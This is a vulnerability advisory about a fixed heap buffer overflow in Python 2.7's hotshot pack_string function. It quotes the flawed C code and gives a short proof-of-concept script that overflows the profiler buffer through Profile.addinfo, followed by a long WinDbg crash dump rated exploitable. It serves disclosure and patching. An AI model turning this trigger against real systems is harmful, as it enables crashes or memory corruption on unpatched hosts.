Title: Python 2.7 hotshot pack_string Heap Buffer Overflow Credit: John Leitch (john@autosectools.com) Url1: http://autosectools.com/Page/Python-hotshot-pack_string-Heap-Buffer-Overflow Url2: http://bugs.python.org/issue24481 Resolution: Fixed The Python 2.7 hotspot module suffer from a heap buffer overflow due to a memcpy in the pack_string function at line 633: static int pack_string(ProfilerObject *self, const char *s, Py_ssize_t len) { if (len + PISIZE + self->index >= BUFFERSIZE) { if (flush_data(self) < 0) return -1; } assert(len < INT_MAX); if (pack_packed_int(self, (int)len) < 0) return -1; memcpy(self->buffer + self->index, s, len); self->index += len; return 0; } The problem arises because const char *s is variable length, while ProfilerObject.buffer is fixed-length: typedef struct { PyObject_HEAD PyObject *filemap; PyObject *logfilename; Py_ssize_t index; unsigned char buffer[BUFFERSIZE]; FILE *logfp; int lineevents; int linetimings; int frametimings; /* size_t filled; */ int active; int next_fileno; hs_time prev_timeofday; } ProfilerObject; An overflow can be triggered by passing a large string to the Profile.addinfo method via the value parameter: from hotshot.stats import * x = hotshot.Profile("A", "A") x.addinfo("A", "A" * 0xfceb) Which produces the following exception: 0:000> r eax=00000041 ebx=0000fceb ecx=00003532 edx=00000002 esi=075dcb35 edi=075d9000 eip=6c29af1c esp=0027fc78 ebp=0027fc80 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 MSVCR90!LeadUpVec+0x70: 6c29af1c f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:000> db edi-0x10 075d8ff0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 075d9000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 075d9010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 075d9020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 075d9030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 075d9040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 075d9050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 075d9060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:000> db esi 075dcb35 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 075dcb45 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 075dcb55 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 075dcb65 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 075dcb75 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 075dcb85 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 075dcb95 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 075dcba5 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> !heap -p -a edi address 075d9000 found in _DPH_HEAP_ROOT @ 6ca1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 722809c: 75d67c8 2838 - 75d6000 4000 6c3194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c 77a257b7 ntdll!RtlDebugAllocateHeap+0x0000003c 779c77ce ntdll!RtlpAllocateHeap+0x0004665a 77981134 ntdll!RtlAllocateHeap+0x0000014d 6c2c3db8 MSVCR90!malloc+0x00000079 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163] 1e0ae6d1 python27!PyObject_Malloc+0x00000161 [c:\build27\cpython\objects\obmalloc.c @ 968] 0:000> !heap -p -a esi address 075dcb35 found in _DPH_HEAP_ROOT @ 6ca1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 7228068: 75da300 fd00 - 75da000 11000 6c3194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c 77a257b7 ntdll!RtlDebugAllocateHeap+0x0000003c 779c77ce ntdll!RtlpAllocateHeap+0x0004665a 77981134 ntdll!RtlAllocateHeap+0x0000014d 6c2c3db8 MSVCR90!malloc+0x00000079 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163] 1e0ae6d1 python27!PyObject_Malloc+0x00000161 [c:\build27\cpython\objects\obmalloc.c @ 968] 0:000> k4 ChildEBP RetAddr 0027fc80 1e008380 MSVCR90!LeadUpVec+0x70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289] 0027fc90 1e008407 python27!pack_string+0x40 [c:\build27\cpython\modules\_hotshot.c @ 634] 0027fca8 1e0089bb python27!pack_add_info+0x77 [c:\build27\cpython\modules\_hotshot.c @ 652] 0027fcc0 1e0aafd7 python27!profiler_addinfo+0x5b [c:\build27\cpython\modules\_hotshot.c @ 1020] 0:000> .frame 1 01 0027fc90 1e008407 python27!pack_string+0x40 [c:\build27\cpython\modules\_hotshot.c @ 634] 0:000> dV self = 0x075dcb35 s = 0x075da314 "AAAAAAAAAAAAAAAAAAA[...]AA..." len = 0n123572224 0:000> dt self Local var @ esi Type ProfilerObject* +0x000 ob_refcnt : 0n1094795585 +0x004 ob_type : 0x41414141 _typeobject +0x008 filemap : 0x41414141 _object +0x00c logfilename : 0x41414141 _object +0x010 index : 0n1094795585 +0x014 buffer : [10240] "AAAAAAAAAAAAAAAAAAA[...]AA..." +0x2814 logfp : 0x41414141 _iobuf +0x2818 lineevents : 0n1094795585 +0x281c linetimings : 0n1094795585 +0x2820 frametimings : 0n1094795585 +0x2824 active : 0n1094795585 +0x2828 next_fileno : 0n1094795585 +0x2830 prev_timeofday : 0n4702111234474983745 0:000> !analyze -v -nodb ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: MSVCR90!LeadUpVec+70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289] 6c29af1c f3a5 rep movs dword ptr es:[edi],dword ptr [esi] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 6c29af1c (MSVCR90!LeadUpVec+0x00000070) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 075d9000 Attempt to write to address 075d9000 CONTEXT: 00000000 -- (.cxr 0x0;r) eax=00000041 ebx=0000fceb ecx=00003532 edx=00000002 esi=075dcb35 edi=075d9000 eip=6c29af1c esp=0027fc78 ebp=0027fc80 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 MSVCR90!LeadUpVec+0x70: 6c29af1c f3a5 rep movs dword ptr es:[edi],dword ptr [esi] FAULTING_THREAD: 000013b0 PROCESS_NAME: pythonw.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 075d9000 WRITE_ADDRESS: 075d9000 FOLLOWUP_IP: MSVCR90!LeadUpVec+70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289] 6c29af1c f3a5 rep movs dword ptr es:[edi],dword ptr [esi] NTGLOBALFLAG: 2000000 APPLICATION_VERIFIER_FLAGS: 0 APP: pythonw.exe ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_NXCODE PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_NXCODE DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_NXCODE LAST_CONTROL_TRANSFER: from 1e008380 to 6c29af1c STACK_TEXT: 0027fc80 1e008380 075d67df 075da314 0000fceb MSVCR90!LeadUpVec+0x70 0027fc90 1e008407 075da314 1e008960 00000000 python27!pack_string+0x40 0027fca8 1e0089bb 072e67b4 075da314 0769e788 python27!pack_add_info+0x77 0027fcc0 1e0aafd7 075d67c8 071aabc0 0769e788 python27!profiler_addinfo+0x5b 0027fcd8 1e0edd10 0769e788 071aabc0 00000000 python27!PyCFunction_Call+0x47 0027fd04 1e0f017a 0027fd5c 06d57b18 06d57b18 python27!call_function+0x2b0 0027fd74 1e0f1150 071a9870 00000000 06d57b18 python27!PyEval_EvalFrameEx+0x239a 0027fda8 1e0f11b2 06d57b18 071a9870 06d5ba50 python27!PyEval_EvalCodeEx+0x690 0027fdd4 1e11707a 06d57b18 06d5ba50 06d5ba50 python27!PyEval_EvalCode+0x22 0027fdec 1e1181c5 0722e260 06d5ba50 06d5ba50 python27!run_mod+0x2a 0027fe0c 1e118760 6c2f7408 06d17fac 00000101 python27!PyRun_FileExFlags+0x75 0027fe4c 1e1190d9 6c2f7408 06d17fac 00000001 python27!PyRun_SimpleFileExFlags+0x190 0027fe68 1e038d35 6c2f7408 06d17fac 00000001 python27!PyRun_AnyFileExFlags+0x59 0027fee4 1d001017 00000002 06d17f88 1d0011b6 python27!Py_Main+0x965 0027fef0 1d0011b6 1d000000 00000000 04d3ffa8 pythonw!WinMain+0x17 0027ff80 76477c04 7ffde000 76477be0 63080f16 pythonw!__tmainCRTStartup+0x140 0027ff94 7799ad1f 7ffde000 62fa2f53 00000000 KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 7799acea ffffffff 77980228 00000000 ntdll!__RtlUserThreadStart+0x2f 0027ffec 00000000 1d001395 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: .cxr 0x0 ; kb FAULTING_SOURCE_LINE: f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm FAULTING_SOURCE_FILE: f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm FAULTING_SOURCE_LINE_NUMBER: 289 FAULTING_SOURCE_CODE: No source found for 'f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm' SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: msvcr90!LeadUpVec+70 FOLLOWUP_NAME: MachineOwner MODULE_NAME: MSVCR90 IMAGE_NAME: MSVCR90.dll DEBUG_FLR_IMAGE_TIMESTAMP: 51ea24a5 FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_NXCODE_c0000005_MSVCR90.dll!LeadUpVec BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_NXCODE_msvcr90!LeadUpVec+70 ANALYSIS_SOURCE: UM FAILURE_ID_HASH_STRING: um:string_dereference_exploitable_fill_pattern_nxcode_c0000005_msvcr90.dll!leadupvec FAILURE_ID_HASH: {006f2a1a-db5d-7798-544b-da0c2e0bcf19} Followup: MachineOwner --------- To fix the issue, pack_string should confirm that the fixed-length buffer is of sufficient size prior to performing the memcpy.